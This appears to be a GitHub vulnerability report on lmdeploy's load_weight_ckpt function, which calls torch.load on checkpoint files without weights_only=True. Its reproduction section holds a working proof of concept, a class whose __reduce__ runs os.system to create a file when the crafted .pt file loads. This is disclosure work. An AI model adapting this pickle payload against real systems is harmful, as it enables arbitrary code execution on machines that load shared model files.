[Bug] Vulnerability Report: load_weight_ckpt function vulnerable to arbitrary code execution via untrusted (.pt) file deserialization
- Dominant language
- Python
- Stars
- 8.1k
- Forks
- 748
- Avg merge
- 6d 2h
- Merged PRs (30d)
- 54
Description
### Checklist
- [x] 1. I have searched related issues but cannot get the expected help.
- [x] 2. The bug has not been fixed in the latest version.
- [x] 3. Please note that if the bug-related issue you submitted lacks corresponding environment info and a minimal reproducible demo, it will be challenging for us to reproduce and resolve the issue, reducing the likelihood of receiving feedback.
### Describe the bug
## Description
The unsafe code is:
```python
def load_weight_ckpt(ckpt: str) -> Dict[str, torch.Tensor]:
"""load checkpoint."""
if ckpt.endswith('.safetensors'):
return load_file(ckpt)
else:
return torch.load(ckpt)
```
Which located at:
https://github.com/InternLM/lmdeploy/blob/df06ae3e5531711438b9046aa2bf2710c17f1649/lmdeploy/vl/model/utils.py#L22
The load_weight_ckpt function is used to load checkpoint files. When dealing with non .safetensors files, it uses the torch.load function without setting the weights_only=True parameter. This omission allows the deserialization of untrusted data, which can lead to potential security risks.
## Attack Impact
If an attacker manages to provide a maliciously crafted .pt file, they can inject arbitrary code into the deserialization process. Once the load_weight_ckpt function attempts to load this file, the malicious code will be executed. This can result in various consequences, such as unauthorized access to the system, data leakage, or system compromise.
## Affected versions
all versions <=0.7.1
From Mar 14, 2024
https://github.com/InternLM/lmdeploy/blob/e6fecd8bbbbeb438a4b090ca8362889c5288ae3b/lmdeploy/vl/model/utils.py
To Jan 1, 2025
https://github.com/InternLM/lmdeploy/blob/df06ae3e5531711438b9046aa2bf2710c17f1649/lmdeploy/vl/model/utils.py#L22
### Reproduction
1. Create a Python script to generate a malicious `.pt` file. The following code demonstrates how to create a class with a malicious `__reduce__` method and save it as a `.pt` file:
```python
import torch
import os
class MaliciousClass:
def __reduce__(self):
malicious_command = (os.system, ('touch attack.txt',))
return malicious_command
malicious_obj = MaliciousClass()
torch.save(malicious_obj, 'malicious_checkpoint.pt')
```
2. Run the script to generate the `malicious_checkpoint.pt` file.
3. Use the `load_weight_ckpt` function to load the malicious file:
```python
import torch
from typing import Dict
def load_file(ckpt: str):
return {}
def load_weight_ckpt(ckpt: str) -> Dict[str, torch.Tensor]:
if ckpt.endswith('.safetensors'):
return load_file(ckpt)
else:
return torch.load(ckpt)
try:
load_weight_ckpt('malicious_checkpoint.pt')
print("If everything goes well, the 'attack.txt' file should have been created.")
except Exception as e:
print(f"An error occurred: {e}")
```
4. After running the above code, the `attack.txt` file is created in the current directory, it indicates that the arbitrary code in the malicious `.pt` file has been successfully executed.
### Environment
```Shell
My test environment for running the reproduction steps are:
- python3.11
- torch 2.2.2
Actually, this vulnerability is independent of specific environment - dependent versions. The root cause of the vulnerability lies in the improper use of the `torch.load` function within the `load_weight_ckpt` method, rather than being related to the version of the Python environment, PyTorch library, or any other dependencies. Whether the code is running in an old or new version of PyTorch, as long as the `torch.load` function is used without the `weights_only=True` parameter to deserialize untrusted `.pt` files, the system remains vulnerable to arbitrary code execution attacks. This lack of version - dependency makes it a critical vulnerability that should be addressed promptly to ensure the security of the application across different deployment scenarios.
```
### Error traceback
```Shell
```
Contributor guide
Assessment
This issue has not been assessed yet.